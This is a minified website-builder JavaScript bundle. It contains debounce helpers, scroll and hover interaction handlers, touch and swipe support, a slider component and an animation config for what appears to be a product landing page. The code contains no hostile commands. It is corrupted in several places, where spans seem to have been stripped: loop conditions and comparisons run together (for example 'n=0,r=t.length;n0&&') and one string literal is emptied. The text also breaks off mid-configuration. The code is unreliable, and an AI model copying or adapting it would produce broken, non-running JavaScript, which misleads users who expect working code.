n?!!n.trailing:u),r(t,e,{leading:a,maxWait:e,trailing:u})}},function(t,e,n){var r=n(4),i=n(235),o=n(46),a="Expected a function",u=Math.max,c=Math.min;t.exports=function(t,e,n){var s,f,l,d,E,p,v=0,_=!1,h=!1,I=!0;if("function"!=typeof t)throw new TypeError(a);function T(e){var n=s,r=f;return s=f=void 0,v=e,d=t.apply(r,n)}function g(t){var n=t-p;return void 0===p||n>=e||n<0||h&&t-v>=l}function O(){var t=i();if(g(t))return y(t);E=setTimeout(O,function(t){var n=e-(t-p);return h?c(n,l-(t-v)):n}(t))}function y(t){return E=void 0,I&&s?T(t):(s=f=void 0,d)}function m(){var t=i(),n=g(t);if(s=arguments,f=this,p=t,n){if(void 0===E)return function(t){return v=t,E=setTimeout(O,e),_?T(t):d}(p);if(h)return clearTimeout(E),E=setTimeout(O,e),T(p)}return void 0===E&&(E=setTimeout(O,e)),d}return e=o(e)||0,r(n)&&(_=!!n.leading,l=(h="maxWait"in n)?u(o(n.maxWait)||0,e):l,I="trailing"in n?!!n.trailing:I),m.cancel=function(){void 0!==E&&clearTimeout(E),v=0,s=p=f=E=void 0},m.flush=function(){return void 0===E?d:y(i())},m}},function(t,e,n){var r=n(3);t.exports=function(){return r.Date.now()}},function(t,e,n){"use strict";var r=n(0)(n(15));Object.defineProperty(e,"__esModule",{value:!0}),e.setStyle=function(t,e,n){t.style[e]=n},e.getStyle=function(t,e){return t.style[e]},e.getProperty=function(t,e){return t[e]},e.matchSelector=function(t){return function(e){return e[o](t)}},e.getQuerySelector=function(t){var e=t.id,n=t.selector;if(e){var r=e;if(-1!==e.indexOf(u)){var i=e.split(u),o=i[0];if(r=i[1],o!==document.documentElement.getAttribute(f))return null}return'[data-p-id^="'.concat(r,'"]')}return n},e.getValidDocument=function(t){if(null==t||t===document.documentElement.getAttribute(f))return document;return null},e.queryDocument=function(t,e){return Array.prototype.slice.call(document.querySelectorAll(e?t+" "+e:t))},e.elementContains=function(t,e){return t.contains(e)},e.isSiblingNode=function(t,e){return t!==e&&t.parentNode===e.parentNode},e.getChildElements=function(){for(var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=[],n=0,r=t.length;n0&&void 0!==arguments[0]?arguments[0]:[],e=[],n=[],r=0,i=t.length;rn.right||e.rightn.bottom||e.bottom1&&void 0!==arguments[1]?arguments[1]:{},r=st(),i=r.stiffScrollTop,o=r.scrollHeight,a=r.innerHeight,u=e.event,c=u.config,s=u.eventTypeId,f=c.scrollOffsetValue,d="PX"===c.scrollOffsetUnit,E=o-a,p=Number((i/E).toFixed(2));if(n&&n.percentTop===p)return n;var v,_,h=(d?f:a*(f||0)/100)/E,I=0;n&&(v=p>n.percentTop,I=(_=n.scrollingDown!==v)?p:n.anchorTop);var T=s===D?p>=I+h:p<=I-h,g=(0,l.default)({},n,{percentTop:p,inBounds:T,anchorTop:I,scrollingDown:v});return n&&T&&(_||g.inBounds!==n.inBounds)&&t(e,g)||g}},vt=function(t){return function(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{clickCount:0},r={clickCount:n.clickCount%2+1};return r.clickCount!==n.clickCount&&t(e,r)||r}},_t=function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return(0,l.default)({},ot,{handler:rt(t?tt:Z,dt(function(t,e){return e.isActive?it.handler(t,e):e}))})},ht=function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];return(0,l.default)({},ot,{handler:rt(t?tt:Z,dt(function(t,e){return e.isActive?e:it.handler(t,e)}))})},It=(0,l.default)({},ut,{handler:(f=function(t,e){var n=e.elementVisible,r=t.event;return!t.store.getState().ixData.events[r.action.config.autoStopEventId]&&e.triggered?e:r.eventTypeId===M===n?(nt(t),(0,l.default)({},e,{triggered:!0})):e},function(t,e){var n=(0,l.default)({},e,{elementVisible:lt(t)});return(e?n.elementVisible!==e.elementVisible:n.elementVisible)&&f(t,n)||n})}),Tt=(r={},(0,o.default)(r,N,_t()),(0,o.default)(r,b,ht()),(0,o.default)(r,R,_t()),(0,o.default)(r,S,ht()),(0,o.default)(r,x,_t(!1)),(0,o.default)(r,w,ht(!1)),(0,o.default)(r,C,_t()),(0,o.default)(r,L,ht()),(0,o.default)(r,W,{types:"ecommerce-cart-open",handler:rt(tt,nt)}),(0,o.default)(r,B,{types:"ecommerce-cart-close",handler:rt(tt,nt)}),(0,o.default)(r,T,{types:"click",handler:rt(tt,vt(function(t,e){var n,r,i,o=e.clickCount;r=(n=t).store,i=n.event.action.config.autoStopEventId,Boolean(et(r,i))?1===o&&nt(t):nt(t)}))}),(0,o.default)(r,g,{types:"click",handler:rt(tt,vt(function(t,e){2===e.clickCount&&nt(t)}))}),(0,o.default)(r,O,(0,l.default)({},it,{types:"mousedown"})),(0,o.default)(r,y,(0,l.default)({},it,{types:"mouseup"})),(0,o.default)(r,m,{types:"mouseover mouseout",handler:rt(tt,Et(function(t,e){e.elementHovered&&nt(t)}))}),(0,o.default)(r,A,{types:"mouseover mouseout",handler:rt(tt,Et(function(t,e){e.elementHovered||nt(t)}))}),(0,o.default)(r,P,{types:"mousemove mouseout scroll",handler:function(t){var e=t.store,n=t.element,r=t.eventConfig,i=t.nativeEvent,o=t.eventStateKey,a=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{clientX:0,clientY:0,pageX:0,pageY:0},u=r.basedOn,c=r.selectedAxis,s=r.continuousParameterGroupId,f=r.reverse,l=r.restingState,d=void 0===l?0:l,E=i.clientX,p=void 0===E?a.clientX:E,v=i.clientY,h=void 0===v?a.clientY:v,I=i.pageX,T=void 0===I?a.pageX:I,g=i.pageY,O=void 0===g?a.pageY:g,y="X_AXIS"===c,m="mouseout"===i.type,A=d/100,S=s,R=!1;switch(u){case z:A=y?Math.min(p,window.innerWidth)/window.innerWidth:Math.min(h,window.innerHeight)/window.innerHeight;break;case K:var N=st(),b=N.scrollLeft,C=N.scrollTop,L=N.scrollWidth,w=N.scrollHeight;A=y?Math.min(b+T,L)/L:Math.min(C+O,w)/w;break;case Y:default:S=q(o,s);var x=0===i.type.indexOf("mouse");if(x&&!0!==tt({element:n,nativeEvent:i}))break;var P=n.getBoundingClientRect(),D=P.left,M=P.top,F=P.width,G=P.height;if(!x&&!function(t,e){return t.left>e.left&&t.lefte.top&&t.top.95||A<.05)&&(A=Math.round(A)),(u!==Y||R||R!==a.elementHovered)&&(A=f?1-A:A,e.dispatch((0,_.parameterChanged)(S,A))),{elementHovered:R,clientX:p,clientY:h,pageX:T,pageY:O}}}),(0,o.default)(r,H,{types:at,handler:function(t){var e=t.store,n=t.eventConfig,r=n.continuousParameterGroupId,i=n.reverse,o=st(),a=o.scrollTop/(o.scrollHeight-o.clientHeight);a=i?1-a:a,e.dispatch((0,_.parameterChanged)(r,a))}}),(0,o.default)(r,X,{types:at,handler:function(t){var e=t.element,n=t.store,r=t.eventConfig,i=t.eventStateKey,o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{scrollPercent:0},a=st(),u=a.scrollLeft,c=a.scrollTop,s=a.scrollWidth,f=a.scrollHeight,l=a.clientHeight,d=r.basedOn,E=r.selectedAxis,p=r.continuousParameterGroupId,v=r.startsEntering,h=r.startsExiting,I=r.addEndOffset,T=r.addStartOffset,g=r.addOffsetValue,O=void 0===g?0:g,y=r.endOffsetValue,m=void 0===y?0:y;if(d===z){var A="X_AXIS"===E?u/s:c/f;return A!==o.scrollPercent&&n.dispatch((0,_.parameterChanged)(p,A)),{scrollPercent:A}}var S=q(i,p),R=e.getBoundingClientRect(),N=(T?O:0)/100,b=(I?m:0)/100;N=v?N:1-N,b=h?b:1-b;var C=R.top+Math.min(R.height*N,l),L=R.top+R.height*b-C,w=Math.min(l+L,f),x=Math.min(Math.max(0,l-C),w)/w;return x!==o.scrollPercent&&n.dispatch((0,_.parameterChanged)(S,x)),{scrollPercent:x}}}),(0,o.default)(r,M,It),(0,o.default)(r,j,It),(0,o.default)(r,D,(0,l.default)({},ut,{handler:pt(function(t,e){e.scrollingDown&&nt(t)})})),(0,o.default)(r,V,(0,l.default)({},ut,{handler:pt(function(t,e){e.scrollingDown||nt(t)})})),(0,o.default)(r,U,{types:"readystatechange IX2_PAGE_UPDATE",handler:rt(Z,function(t){return function(e,n){var r={finished:"complete"===document.readyState};return!r.finished||n&&n.finshed||t(e),r}}(nt))}),(0,o.default)(r,k,{types:"readystatechange IX2_PAGE_UPDATE",handler:rt(Z,function(t){return function(e,n){return n||t(e),{started:!0}}}(nt))}),r);e.default=Tt},function(t,e,n){var r=n(239)();t.exports=r},function(t,e,n){var r=n(50),i=n(240),o=n(99),a=n(100),u=n(1),c=n(253),s="Expected a function",f=8,l=32,d=128,E=256;t.exports=function(t){return i(function(e){var n=e.length,i=n,p=r.prototype.thru;for(t&&e.reverse();i--;){var v=e[i];if("function"!=typeof v)throw new TypeError(s);if(p&&!_&&"wrapper"==a(v))var _=new r([],!0)}for(i=_?i:n;++i0&&o(f)?n>1?t(f,n-1,o,a,u):r(u,f):a||(u[u.length]=f)}return u}},function(t,e,n){var r=n(11),i=n(22),o=n(1),a=r?r.isConcatSpreadable:void 0;t.exports=function(t){return o(t)||i(t)||!!(a&&t&&t[a])}},function(t,e,n){var r=n(245),i=Math.max;t.exports=function(t,e,n){return e=i(void 0===e?t.length-1:e,0),function(){for(var o=arguments,a=-1,u=i(o.length-e,0),c=Array(u);++a0){if(++e>=n)return arguments[0]}else e=0;return t.apply(void 0,arguments)}}},function(t,e,n){var r=n(76),i=r&&new r;t.exports=i},function(t,e){t.exports=function(){}},function(t,e){t.exports={}},function(t,e,n){var r=n(52),i=n(99),o=n(100),a=n(254);t.exports=function(t){var e=o(t),n=a[e];if("function"!=typeof n||!(e in r.prototype))return!1;if(t===n)return!0;var u=i(n);return!!u&&t===u[0]}},function(t,e,n){var r=n(52),i=n(50),o=n(51),a=n(1),u=n(7),c=n(255),s=Object.prototype.hasOwnProperty;function f(t){if(u(t)&&!a(t)&&!(t instanceof r)){if(t instanceof i)return t;if(s.call(t,"__wrapped__"))return c(t)}return new i(t)}f.prototype=o.prototype,f.prototype.constructor=f,t.exports=f},function(t,e,n){var r=n(52),i=n(50),o=n(256);t.exports=function(t){if(t instanceof r)return t.clone();var e=new i(t.__wrapped__,t.__chain__);return e.__actions__=o(t.__actions__),e.__index__=t.__index__,e.__values__=t.__values__,e}},function(t,e){t.exports=function(t,e){var n=-1,r=t.length;for(e||(e=Array(r));++n=0)){var a=t(e);if(f.hash.length>1&&f.host+f.pathname===s.host+s.pathname){if(!/^#[a-zA-Z0-9\-\_]+$/.test(f.hash))return;var u=t(f.hash);u.length&&i.push({link:a,sec:u,active:!1})}else if("#"!==r&&""!==r){var c=f.href===s.href||r===o||d.test(r)&&E.test(o);_(a,l,c)}}}function v(){var t=u.scrollTop(),n=u.height();e.each(i,function(e){var r=e.link,i=e.sec,o=i.offset().top,a=i.outerHeight(),u=.5*n,c=i.is(":visible")&&o+a-u>=t&&o+u<=t+n;e.active!==c&&(e.active=c,_(r,l,c))})}function _(t,e,n){var r=t.hasClass(e);n&&r||(n||r)&&(n?t.addClass(e):t.removeClass(e))}return a.ready=a.design=a.preview=function(){n=c&&r.env("design"),o=r.env("slug")||s.pathname||"",r.scroll.off(v),i=[];for(var t=document.links,e=0;e .header, "+f+" > .w-nav:not([data-no-scroll])"),d="fixed"===l.css("position")?l.outerHeight():0;n.setTimeout(function(){!function(e,r){var i=t(n).scrollTop(),o=e.offset().top-r;if("mid"===e.data("scroll")){var a=t(n).height()-r,u=e.outerHeight();u0)&&(c=e)}),Date.now||(Date.now=function(){return(new Date).getTime()});var s=Date.now(),f=n.requestAnimationFrame||n.mozRequestAnimationFrame||n.webkitRequestAnimationFrame||function(t){n.setTimeout(t,15)},l=(472.143*Math.log(Math.abs(i-o)+125)-2e3)*c;!function t(){var e=Date.now()-s;n.scroll(0,function(t,e,n,r){return n>r?e:t+(e-t)*((i=n/r)<.5?4*i*i*i:(i-1)*(2*i-2)*(2*i-2)+1);var i}(i,o,e,l)),e<=l&&f(t)}()}(c,d)},u?0:300)}}}(s,e)}else e.preventDefault()})}}})},function(t,e,n){"use strict";n(8).define("touch",t.exports=function(t){var e={},n=!document.addEventListener,r=window.getSelection;function i(t){var e,n,i,a=!1,u=!1,c=!1,s=Math.min(Math.round(.04*window.innerWidth),40);function f(t){var r=t.touches;r&&r.length>1||(a=!0,u=!1,r?(c=!0,e=r[0].clientX,n=r[0].clientY):(e=t.clientX,n=t.clientY),i=e)}function l(t){if(a){if(c&&"mousemove"===t.type)return t.preventDefault(),void t.stopPropagation();var f=t.touches,l=f?f[0].clientX:t.clientX,d=f?f[0].clientY:t.clientY,p=l-i;i=l,Math.abs(p)>s&&r&&""===String(r())&&(o("swipe",t,{direction:p>0?"right":"left"}),E()),(Math.abs(l-e)>10||Math.abs(d-n)>10)&&(u=!0)}}function d(t){if(a){if(a=!1,c&&"mouseup"===t.type)return t.preventDefault(),t.stopPropagation(),void(c=!1);u||o("tap",t)}}function E(){a=!1}t.addEventListener("touchstart",f,!1),t.addEventListener("touchmove",l,!1),t.addEventListener("touchend",d,!1),t.addEventListener("touchcancel",E,!1),t.addEventListener("mousedown",f,!1),t.addEventListener("mousemove",l,!1),t.addEventListener("mouseup",d,!1),t.addEventListener("mouseout",E,!1),this.destroy=function(){t.removeEventListener("touchstart",f,!1),t.removeEventListener("touchmove",l,!1),t.removeEventListener("touchend",d,!1),t.removeEventListener("touchcancel",E,!1),t.removeEventListener("mousedown",f,!1),t.removeEventListener("mousemove",l,!1),t.removeEventListener("mouseup",d,!1),t.removeEventListener("mouseout",E,!1),t=null}}function o(e,n,r){var i=t.Event(e,{originalEvent:n});t(n.target).trigger(i,r)}return n&&(t.event.special.tap={bindType:"click",delegateType:"click"}),e.init=function(e){return n?null:(e="string"==typeof e?t(e).get(0):e)?new i(e):null},e.instance=e.init(document),e})},function(t,e,n){"use strict";var r=n(8),i=n(54);r.define("slider",t.exports=function(t,e){var n,o,a,u,c={},s=t.tram,f=t(document),l=r.env(),d=".w-slider",E='
',p=i.triggers;function v(){(n=f.find(d)).length&&(n.each(I),u=null,a||(_(),r.resize.on(h),r.redraw.on(c.redraw)))}function _(){r.resize.off(h),r.redraw.off(c.redraw)}function h(){n.filter(":visible").each(R)}function I(e,n){var r=t(n),i=t.data(n,d);if(i||(i=t.data(n,d,{index:0,depth:1,el:r,config:{}})),i.mask=r.children(".w-slider-mask"),i.left=r.children(".w-slider-arrow-left"),i.right=r.children(".w-slider-arrow-right"),i.nav=r.children(".w-slider-nav"),i.slides=i.mask.children(".w-slide"),i.slides.each(p.reset),u&&(i.maskWidth=0),!s.support.transform)return i.left.hide(),i.right.hide(),i.nav.hide(),void(a=!0);i.el.off(d),i.left.off(d),i.right.off(d),i.nav.off(d),T(i),o?(i.el.on("setting"+d,A(i)),m(i),i.hasTimer=!1):(i.el.on("swipe"+d,A(i)),i.left.on("tap"+d,O(i)),i.right.on("tap"+d,y(i)),i.config.autoplay&&!i.hasTimer&&(i.hasTimer=!0,i.timerCount=1,function t(e){m(e);var n=e.config;var r=n.timerMax;if(r&&e.timerCount++>r)return;e.timerId=window.setTimeout(function(){null==e.timerId||o||(y(e)(),t(e))},n.delay)}(i))),i.nav.on("tap"+d,"> div",A(i)),l||i.mask.contents().filter(function(){return 3===this.nodeType}).remove();var c=r.filter(":hidden");c.show();var f=r.parents(":hidden");f.show(),R(e,n),c.css("display",""),f.css("display","")}function T(t){var e={crossOver:0};e.animation=t.el.attr("data-animation")||"slide","outin"===e.animation&&(e.animation="cross",e.crossOver=.5),e.easing=t.el.attr("data-easing")||"ease";var n=t.el.attr("data-duration");if(e.duration=null!=n?parseInt(n,10):500,g(t.el.attr("data-infinite"))&&(e.infinite=!0),g(t.el.attr("data-disable-swipe"))&&(e.disableSwipe=!0),g(t.el.attr("data-hide-arrows"))?e.hideArrows=!0:t.config.hideArrows&&(t.left.show(),t.right.show()),g(t.el.attr("data-autoplay"))){e.autoplay=!0,e.delay=parseInt(t.el.attr("data-delay"),10)||2e3,e.timerMax=parseInt(t.el.attr("data-autoplay-limit"),10);var r="mousedown"+d+" touchstart"+d;o||t.el.off(r).one(r,function(){m(t)})}var i=t.right.width();e.edge=i?i+40:100,t.config=e}function g(t){return"1"===t||"true"===t}function O(t){return function(){S(t,{index:t.index-1,vector:-1})}}function y(t){return function(){S(t,{index:t.index+1,vector:1})}}function m(t){window.clearTimeout(t.timerId),t.timerId=null}function A(n){return function(i,a){a=a||{};var u=n.config;if(o&&"setting"===i.type){if("prev"===a.select)return O(n)();if("next"===a.select)return y(n)();if(T(n),N(n),null==a.select)return;!function(n,r){var i=null;r===n.slides.length&&(v(),N(n)),e.each(n.anchors,function(e,n){t(e.els).each(function(e,o){t(o).index()===r&&(i=n)})}),null!=i&&S(n,{index:i,immediate:!0})}(n,a.select)}else{if("swipe"===i.type){if(u.disableSwipe)return;if(r.env("editor"))return;return"left"===a.direction?y(n)():"right"===a.direction?O(n)():void 0}n.nav.has(i.target).length&&S(n,{index:t(i.target).index()})}}}function S(e,n){n=n||{};var r=e.config,i=e.anchors;e.previous=e.index;var a=n.index,c={};a<0?(a=i.length-1,r.infinite&&(c.x=-e.endX,c.from=0,c.to=i[0].width)):a>=i.length&&(a=0,r.infinite&&(c.x=i[i.length-1].width,c.from=-i[i.length-1].x,c.to=c.from-c.x)),e.index=a;var f=e.nav.children().eq(e.index).addClass("w-active");e.nav.children().not(f).removeClass("w-active"),r.hideArrows&&(e.index===i.length-1?e.right.hide():e.right.show(),0===e.index?e.left.hide():e.left.show());var l=e.offsetX||0,d=e.offsetX=-i[e.index].x,E={x:d,opacity:1,visibility:""},v=t(i[e.index].els),_=t(i[e.previous]&&i[e.previous].els),h=e.slides.not(v),I=r.animation,T=r.easing,g=Math.round(r.duration),O=n.vector||(e.index>e.previous?1:-1),y="opacity "+g+"ms "+T,m="transform "+g+"ms "+T;if(o||(v.each(p.intro),h.each(p.outro)),n.immediate&&!u)return s(v).set(E),void R();if(e.index!==e.previous){if("cross"===I){var A=Math.round(g-g*r.crossOver),S=Math.round(g-A);return y="opacity "+A+"ms "+T,s(_).set({visibility:""}).add(y).start({opacity:0}),void s(v).set({visibility:"",x:d,opacity:0,zIndex:e.depth++}).add(y).wait(S).then({opacity:1}).then(R)}if("fade"===I)return s(_).set({visibility:""}).stop(),void s(v).set({visibility:"",x:d,opacity:0,zIndex:e.depth++}).add(y).start({opacity:1}).then(R);if("over"===I)return E={x:e.endX},s(_).set({visibility:""}).stop(),void s(v).set({visibility:"",zIndex:e.depth++,x:d+i[e.index].width*O}).add(m).start({x:d}).then(R);r.infinite&&c.x?(s(e.slides.not(_)).set({visibility:"",x:c.x}).add(m).start({x:d}),s(_).set({visibility:"",x:c.from}).add(m).start({x:c.to}),e.shifted=_):(r.infinite&&e.shifted&&(s(e.shifted).set({visibility:"",x:l}),e.shifted=null),s(e.slides).set({visibility:""}).add(m).start({x:d}))}function R(){v=t(i[e.index].els),h=e.slides.not(v),"slide"!==I&&(E.visibility="hidden"),s(h).set(E)}}function R(e,n){var r=t.data(n,d);if(r)return function(t){var e=t.mask.width();if(t.maskWidth!==e)return t.maskWidth=e,!0;return!1}(r)?N(r):void(o&&function(e){var n=0;if(e.slides.each(function(e,r){n+=t(r).outerWidth(!0)}),e.slidesWidth!==n)return e.slidesWidth=n,!0;return!1}(r)&&N(r))}function N(e){var n=1,r=0,i=0,a=0,u=e.maskWidth,c=u-e.config.edge;c<0&&(c=0),e.anchors=[{els:[],x:0,width:0}],e.slides.each(function(o,s){i-r>c&&(n++,r+=u,e.anchors[n-1]={els:[],x:i,width:0}),a=t(s).outerWidth(!0),i+=a,e.anchors[n-1].width+=a,e.anchors[n-1].els.push(s)}),e.endX=i,o&&(e.pages=null),e.nav.length&&e.pages!==n&&(e.pages=n,function(e){var n,r=[],i=e.el.attr("data-nav-spacing");i&&(i=parseFloat(i)+"px");for(var o=0;o=n&&(s=n-1),S(e,{immediate:!0,index:s})}return c.ready=function(){o=r.env("design"),v()},c.design=function(){o=!0,v()},c.preview=function(){o=!1,v()},c.redraw=function(){u=!0,v()},c.destroy=_,c})}]);/** * ---------------------------------------------------------------------- * pyro: Interactions 2.0: Init */ pyro.require('ix2').init( {"events":{"e":{"id":"e","eventTypeId":"SCROLL_INTO_VIEW","action":{"id":"","actionTypeId":"GENERAL_START_ACTION","config":{"delay":0,"easing":"","duration":0,"actionListId":"a","affectedElements":{},"playInReverse":false,"autoStopEventId":"e-2"}},"mediaQueries":["main","medium","small","tiny"],"target":{"appliesTo":"ELEMENT","styleBlockIds":[],"id":"5e11d9110227d065447b0858|7b107e6a-2faa-c72e-0226-74a298bd22df"},"config":{"loop":false,"playInReverse":false,"scrollOffsetValue":0,"scrollOffsetUnit":"%","delay":null,"direction":null,"effectIn":null},"createdOn":1578558358740},"e-3":{"id":"e-3","eventTypeId":"SCROLL_INTO_VIEW","action":{"id":"","actionTypeId":"GENERAL_START_ACTION","config":{"delay":0,"easing":"","duration":0,"actionListId":"a-2","affectedElements":{},"playInReverse":false,"autoStopEventId":"e-4"}},"mediaQueries":["main","medium","small","tiny"],"target":{"appliesTo":"ELEMENT","styleBlockIds":[],"id":"5e11d9110227d065447b0858|dc0dfefc-eb7b-02ac-227c-bb8584a8d160"},"config":{"loop":false,"playInReverse":false,"scrollOffsetValue":30,"scrollOffsetUnit":"%","delay":null,"direction":null,"effectIn":null},"createdOn":1578559459023},"e-5":{"id":"e-5","eventTypeId":"SCROLL_INTO_VIEW","action":{"id":"","actionTypeId":"GENERAL_START_ACTION","config":{"delay":0,"easing":"","duration":0,"actionListId":"a-3","affectedElements":{},"playInReverse":false,"autoStopEventId":"e-6"}},"mediaQueries":["main","medium","small","tiny"],"target":{"appliesTo":"ELEMENT","styleBlockIds":[],"id":"5e11d9110227d065447b0858|12a4a427-428c-e8fa-528c-fd646016ed2e"},"config":{"loop":false,"playInReverse":false,"scrollOffsetValue":50,"scrollOffsetUnit":"%","delay":null,"direction":null,"effectIn":null},"createdOn":1578559950792},"e-7":{"id":"e-7","eventTypeId":"SCROLL_INTO_VIEW","action":{"id":"","actionTypeId":"GENERAL_START_ACTION","config":{"delay":0,"easing":"","duration":0,"actionListId":"a-4","affectedElements":{},"playInReverse":false,"autoStopEventId":"e-8"}},"mediaQueries":["main","medium","small","tiny"],"target":{"appliesTo":"ELEMENT","styleBlockIds":[],"id":"5e11d9110227d065447b0858|2c47834e-f2f1-e74e-c9b5-cbb026d0fc1d"},"config":{"loop":false,"playInReverse":false,"scrollOffsetValue":50,"scrollOffsetUnit":"%","delay":null,"direction":null,"effectIn":null},"createdOn":1578560435713},"e-9":{"id":"e-9","eventTypeId":"SCROLL_INTO_VIEW","action":{"id":"","actionTypeId":"GENERAL_START_ACTION","config":{"delay":0,"easing":"","duration":0,"actionListId":"a-5","affectedElements":{},"playInReverse":false,"autoStopEventId":"e-10"}},"mediaQueries":["main","medium","small","tiny"],"target":{"appliesTo":"ELEMENT","styleBlockIds":[],"id":"5e11d9110227d065447b0858|9a5647e3-d873-cbc9-040c-e9df23694a6f"},"config":{"loop":false,"playInReverse":false,"scrollOffsetValue":50,"scrollOffsetUnit":"%","delay":null,"direction":null,"effectIn":null},"createdOn":1578560999447},"e-11":{"id":"e-11","eventTypeId":"SCROLL_INTO_VIEW","action":{"id":"","actionTypeId":"GENERAL_START_ACTION","config":{"delay":0,"easing":"","duration":0,"actionListId":"a-6","affectedElements":{},"playInReverse":false,"autoStopEventId":"e-12"}},"mediaQueries":["main","medium","small","tiny"],"target":{"appliesTo":"ELEMENT","styleBlockIds":[],"id":"5e11d9110227d065447b0858|5df5041b-b9fa-2857-565b-656654349300"},"config":{"loop":false,"playInReverse":false,"scrollOffsetValue":30,"scrollOffsetUnit":"%","delay":null,"direction":null,"effectIn":null},"createdOn":1578561254980}},"actionLists":{"a":{"id":"a","title":"Hero Enter View","actionItemGroups":[{"actionItems":[{"id":"a-n","actionTypeId":"TRANSFORM_MOVE","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".main-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25"]},"xValue":-200,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-n-14","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"SIBLINGS","selector":".mouse-outer-wrapper","selectorGuids":["01199f49-1fa1-d1af-7210-b8136c3f60a5"]},"value":0,"unit":""}},{"id":"a-n-13","actionTypeId":"TRANSFORM_MOVE","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"SIBLINGS","selector":".mouse-outer-wrapper","selectorGuids":["01199f49-1fa1-d1af-7210-b8136c3f60a5"]},"yValue":200,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-n-11","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".button","selectorGuids":["0671da65-fcae-8416-d37c-e9aa73661f92"]},"value":0,"unit":""}},{"id":"a-n-6","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".hero-text","selectorGuids":["80c8f6a8-79f0-ee83-861a-05e7b5d2048b"]},"value":0,"unit":""}},{"id":"a-n-5","actionTypeId":"TRANSFORM_MOVE","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".hero-text","selectorGuids":["80c8f6a8-79f0-ee83-861a-05e7b5d2048b"]},"xValue":-200,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-n-2","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".main-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25"]},"value":0,"unit":""}},{"id":"a-n-9","actionTypeId":"TRANSFORM_MOVE","config":{"delay":0,"easing":"","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".button","selectorGuids":["0671da65-fcae-8416-d37c-e9aa73661f92"]},"xValue":-200,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}}]},{"actionItems":[{"id":"a-n-3","actionTypeId":"TRANSFORM_MOVE","config":{"delay":0,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".main-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25"]},"xValue":0,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-n-4","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".main-title","selectorGuids":["62879aac-0877-7ab5-f343-2632cf8c7d25"]},"value":1,"unit":""}},{"id":"a-n-7","actionTypeId":"STYLE_OPACITY","config":{"delay":150,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".hero-text","selectorGuids":["80c8f6a8-79f0-ee83-861a-05e7b5d2048b"]},"value":1,"unit":""}},{"id":"a-n-8","actionTypeId":"TRANSFORM_MOVE","config":{"delay":150,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".hero-text","selectorGuids":["80c8f6a8-79f0-ee83-861a-05e7b5d2048b"]},"xValue":0,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-n-10","actionTypeId":"TRANSFORM_MOVE","config":{"delay":300,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".button","selectorGuids":["0671da65-fcae-8416-d37c-e9aa73661f92"]},"xValue":0,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-n-12","actionTypeId":"STYLE_OPACITY","config":{"delay":300,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"CHILDREN","selector":".button","selectorGuids":["0671da65-fcae-8416-d37c-e9aa73661f92"]},"value":1,"unit":""}},{"id":"a-n-15","actionTypeId":"TRANSFORM_MOVE","config":{"delay":450,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"SIBLINGS","selector":".mouse-outer-wrapper","selectorGuids":["01199f49-1fa1-d1af-7210-b8136c3f60a5"]},"yValue":0,"xUnit":"PX","yUnit":"PX","zUnit":"PX"}},{"id":"a-n-16","actionTypeId":"STYLE_OPACITY","config":{"delay":450,"easing":"outQuart","duration":1000,"target":{"useEventTarget":"SIBLINGS","selector":".mouse-outer-wrapper","selectorGuids":["01199f49-1fa1-d1af-7210-b8136c3f60a5"]},"value":1,"unit":""}}]}],"createdOn":1578558367114,"useFirstGroupAsInitialState":true},"a-2":{"id":"a-2","title":"Code Into View","actionItemGroups":[{"actionItems":[{"id":"a-2-n-7","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".btns-container.in-checkov-code","selectorGuids":["2af483a4-c642-da37-0305-c6185e1d209b","a4567fdf-32c4-ff65-ac5e-d5873900eaa3"]},"value":0,"unit":""}},{"id":"a-2-n-5","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".checkov-code-img","selectorGuids":["98290caf-0866-1904-43f9-c03577b817ab"]},"value":0,"unit":""}},{"id":"a-2-n-2","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"easing":"","duration":500,"target":{"useEventTarget":"CHILDREN","selector":".checkov-code-text","selectorGuids":["9cf215c9-9bbe-4ff3-dca3-23341a15f432"]},"value":0,"unit":""}}]},{"actionItems":[{"id":"a-2-n-4","actionTypeId":"STYLE_OPACITY","config":{"delay":0,"ea